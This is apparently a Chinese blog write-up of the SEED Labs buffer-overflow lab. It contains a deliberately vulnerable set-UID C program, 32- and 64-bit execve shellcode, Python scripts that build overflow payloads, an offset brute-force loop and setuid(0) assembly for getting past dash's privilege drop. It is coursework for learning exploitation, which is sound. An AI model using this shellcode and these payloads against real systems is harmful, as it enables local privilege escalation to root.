[seed-labs] 缓冲区溢出实验

[seed-labs] 缓冲区溢出实验

目录

实验目的

  • 熟悉栈溢出攻击
  • 熟悉Ubuntu命令行使用
  • 熟悉相关编译操作

实验过程

3.1 环境设置

  • #更新文件
    sudo apt-get update
    #安装32位库
    sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    #安装pythonGDB调试工具
    sudo apt-get install -y python3.8-gdbm gdb
    #取消地址空间随机化
    sudo sysctl -w kernel.randomize_va_space=0
    #链接Set-UID并放弃原shell
    sudo ln -sf /bin/zsh /bin/sh
    #安装peda插件
    git clone https://github.com/longld/peda.git ~/peda
    echo "source ~/peda/peda.py" >> ~/.gdbinit
    

    GDB插件控制——切换pwndbg,peda,gef

3.2 Task 1:熟悉Shellcode

  • 部分code理解

    //c语言版本的shellcode
    //首先观察函数声明了一个长度为2字符型数组,调用name的第一位以及自身地址;分别对应于ebx\edx;
    //通过移动esp的位置分别读取值
    #include <stdio.h>
    int main(){
    	char *name[2];
    	name[0] = "/bin/sh";
    	name[1] = NULL;
    	execve(name[0], name, NULL);
    }
    
  • 运行编译code

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    const char shellcode[] =
    #if __x86_64__									//这里之后会用到
    	"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    	"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    	"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
     #else
    	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    	"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    	"\xd2\x31\xc0\xb0\x0b\xcd\x80"
    #endif;
    
    int main(int argc, char **argv)
    {
    	char code[500];
    
    	strcpy(code, shellcode); // Copy the shellcode to the stack
    	int (*func)() = (int(*)())code;
    	func(); // Invoke the shellcode from the stack
    	return 1;
    }
    
  • 编译文件makefile并使用execstack选项;否在会报segfault的错误,其原因是我们按照实验要求需要代码在堆栈上执行以打开shell

  • 关于make指令的用法[Linux下的make命令用法 - 腾讯云开发者社区-腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1065282#:~:text=Make 命令实例 1 1. 一个简单的例子 为了编译整个工程,你可以简单的使用 make 或者在,… 5 5. 通过 -f 选项将其它文件看作 Makefile )

    //使用准备好的Makefile进行编译
    make all
    

    image-20221006212726625

    image-20221011091205948

3.3 Task 2:理解漏洞程序

  • 根据给出的代码;文件中的代码比实操的代码多了一个判断机制:如果没有打开badfile,则执行内存初始化函数;代码如下:

    #include<stdlib.h>
    #include<stdio.h>
    #include<string.h>
    
    /* Changing this size will change the layout of the stack.
     * Instructors can change this value each year, so students
     * won't be able to use the solutions from the past.(收到)
     */
    #ifndef BUF_SIZE
    #define BUF_SIZE 100
    #endif
    //这里定义了一些常量
    void dummy_function(char *str);
    //栈溢出函数;strcpy一些超出长度的字符串(100/517)
    int bof(char *str)
    {
        char buffer[BUF_SIZE];
    
        // The following statement has a buffer overflow problem 
        strcpy(buffer, str);       
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;	//创建一个文件badfile
    
        badfile = fopen("badfile", "r"); 	//只读模式打开
        if (!badfile) {						//如果该文件不存在,则返回打印值并退出(NULL)
           perror("Opening badfile"); exit(1);
        }
    //fread ()函数指向str;在其中读取517个sizeof(char)大小的字;输出到文件badfile中(输入流文件)
        int length = fread(str, sizeof(char), 517, badfile);
        printf("Input size: %d\n", length);
    //执行该函数;并且在bof和main函数之间插入初始化字符;调用bof函数
        dummy_function(str);
        fprintf(stdout, "==== Returned Properly ====\n");
        return 1;
    }
    
    // This function is used to insert a stack frame of size 
    // 1000 (approximately) between main's and bof's stack frames. 
    // The function itself does not do anything. 
    void dummy_function(char *str)
    {
        char dummy_buffer[1000];
        memset(dummy_buffer, 0, 1000);
        bof(str);
    }
    
    
  • 编译

  • 关于linux的保护机制:linux程序保护机制&gcc编译选项

    //设置buf长度为100;使用32-bit的版本;产生符号调试工具;允许栈上执行;关闭站保护机制;名字为stack.c且生成可执行文件stack
    gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
    //在管理员权限下将stack的所有者改为root(表示可以在用户态下执行)
     sudo chown root stack
    //表示stack文件的权限为:其他用户执行文件时具有与所有者相当的权限;文件所有者可读;文件所属这同属一个用户组的其他用户可读写和执行
     sudo chmod 4755 stack
    //(只需执行这一步;之前的命令已包含在Makefile中)执行文件,在当前文件夹下
    make all
    
  • 执行结果:

    image-20221006222223121

3.4 Task 3:对 32-bit 程序实施攻击 (Level 1)

  • 根据文件执行编译查看buf和ebp的地址,注意要在code文件夹下

    $ touch badfile // 创建badfile文件
    $ gdb stack-L1-dbg
    
    gdb-peda$ b bof // 在函数bof()处设置断点
    Breakpoint 1 at 0x12ad: file stack.c, line 15.
    
    gdb-peda$ run // 开始运行程序
    ...
    Breakpoint 1, bof (str=0xffffd2a3 ...) at stack.c:15
    15 {
    gdb-peda$ next // 参见Note
    ...
    19 strcpy(buffer, str);
    gdb-peda$ p $ebp // 打印ebp的值
    $1 = (void *) 0xffffce78
    gdb-peda$ p &buffer // 获得buffer的起始地址
    $2 = (char (*)[100]) 0xffffce0c
    gdb-peda$ quit // 退出
    

    image-20221011162359281

    • 查看程序栈信息

    image-20221011162321926

  • 操作

    #切换工具至gdb-peda(如果之前没用的话)
    echo "source ~/peda/peda.py" >> ~/.gdbinit
    #被0xffffd4d0唤醒
    #变量str:0xffffd2ac
    #ret--------------(ebp之上是eip,即返回地址,将返回指向shellcode)
    0xffffd2a8+100	//32位地址,这里可以填充的范围是+4~+513
    #offset-------------(用buffer的栈底指针-buffer在bof函数中的地址)
    0xffffd2a8-0xffffd23c+4=112
    #shellcode----------(shellcode的二进制文件在源文件已给出//32位)
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
    
    #start---------------(注意栈的书写规则从高到低)
    517-len(shellcode)
    #L--------------------(32位)
    4
    
    
    
    #!/usr/bin/python3
    import sys
    
    # Replace the content with the actual shellcode
    shellcode= (
            "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
            "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
            "\xd2\x31\xc0\xb0\x0b\xcd\x80"
    ).encode('latin-1')
    
    # Fill the content with NOP's
    content = bytearray(0x90 for i in range(517))	#填充足够多的nop使得能够成功跳转
    
    ##################################################################
    # Put the shellcode somewhere in the payload
    start = 517-len(shellcode)              # Change this number 
    content[start:start + len(shellcode)] = shellcode
    
    # Decide the return address value 
    # and put it somewhere in the payload
    ret    = 0xffffce88+100          # Change this number 
    offset = 112              # 偏移量 
    L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
    content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
    ##################################################################
    
    # Write the content to a file
    with open('badfile', 'wb') as f:
      f.write(content)
    
    
    
  • 结果image-20221011171215207

在该实验下有一个重要的问题是错误的设置了soft文件夹的权限(显示为有小锁),导致系统无法成功调用起shellcode,总是会显示报错“非法指令”,很有误导性.在Desktop文件夹下使用“sudo chown -R seed soft”命令改变权限

image-20221011172252106

3.5 Task 4:在不知道缓冲区大小的情况下实施攻击 (Level 2)

  • 攻击思路:

  • 方法一:内存覆盖计算出长度

    • 我们想到可以用gdb-peda调试工具。

      由于已经说明buffer的长度在100-200之间,因此我们构造一个尽量能长的随机字符串,使得其覆盖掉buffer和身后的一系列指针;

      由于运行到该该位置函数无法读取返回指针;因此自然会报错停止运行

      我们再使用pattern_search工具查看覆盖掉的指针位置,就能猜测出长度

    • 首先用GDB调试观察信息image-20221011193105231

      image-20221011202708056

      image-20221011202726710

    • 得到buffer长度为160

      #buffer长度为160(EBX的位置-4)
      # Decide the return address value 
      # and put it somewhere in the payload
      ret    = 0xffffcdf0+160          # Change this number 
      offset = 196              # 偏移量 这里只需填指向填充字段的offset+size
      L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
      content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
      
  • 方法二:尝试爆破

    • 由于我们知道他的长度范围,因此我们只需要在buffer基址后按每个字将返回值写入,这样无论buffer长度为多少(<517),我们总能在溢出时返回到指定shellcode

    • 代码:

      ##################################################################
      # Put the shellcode somewhere in the payload
      start = 517-len(shellcode)              # Change this number 
      content[start:start + len(shellcode)] = shellcode
      
      # Decide the return address value 
      # and put it somewhere in the payload
      ret    = 0xffffcdf0+200         # Change this number 
      #offset = 732              # Change this number 
      S=25
      L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
      for offset in range(S):		#100长度+4(保底)
          content[offset*4:offset*4+104 + L] = (ret).to_bytes(L,byteorder='little')
      ##################################################################
      
    • 结果:

      image-20221011224648998

Task 5:对 64-bit 程序实施攻击

  • 和之前一样

    image-20221011225851963

  • 同理我们修改一下exploit.py

    需要注意的是,当strcpy将payload复制到buffer是,他只会复制前两位也就是0x7f,之后的任何东西都不会被复制。但是我们的payload中还有0,且原始的返回地址字段也有两个0(因为存储了一个64位地址)所以即使strcpy丢失了‘/0’,64位系统也会再最后补0

    image-20221011232047422

    于是我们如果将shellcode放在返回地址之前,shellcode就不会被0阶段,从而达到目的

    shellcode= (
            "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
            "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
            "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
    ).encode('latin-1')
    # Put the shellcode somewhere in the payload
    start = 160              # Change this number 
    content[start:start + len(shellcode)] = shellcode
    
    # Decide the return address value 
    # and put it somewhere in the payload
    ret    = 0x7fffffffdbd0 +start       
    offset = 216                       #记得相减后+8
    L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
    
  • 结果:

    image-20221011232147612

Task 6:攻破 dash 的保护机制

  • 参考:攻破bash保护 - Seed Labs (blueegg.net.cn)

  • 当 Ubuntu 操作系统中的 dash shell 检测到有效 UID 不同于真实 UID 时(Set-UID 程序中), 就会主动放弃特权。

    为了攻破缓冲区溢出攻击中的这种保护机制,我们所需要做的就改变真实 UID,让它与有效 UID 等价。

    当以 root 为所有者的 setuid程序运行时,有效 uid 为 0, 所以在我们调用 shell 程序之前,我们只需要将真实uid 修改为 0 即可

  • #使用命令编译:
    make setuid
    

    在不调用setuid(0) 的情况下运行 a32.out 和 a64.out 结果

    image-20221011235513390

  • 添加代码

    ; Invoke setuid(0): 32-bit
    xor ebx, ebx ; ebx = 0: setuid()'s argument
    xor eax, eax
    mov al, 0xd5 ; setuid()'s system call number
    int 0x80
    
    ; Invoke setuid(0): 64-bit
    xor rdi, rdi ; rdi = 0: setuid()'s argument
    xor rax, rax
    mov al, 0x69 ; setuid()'s system call number
    syscall
    
    #执行
    sudo ln -sf /bin/dash /bin/sh
    

    image-20221011235529160

    image-20221011235540442

    再次尝试漏洞攻击并打开shell安全机制,以L1为例

    image-20221011235644834

  • 攻击成功

  • 30
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值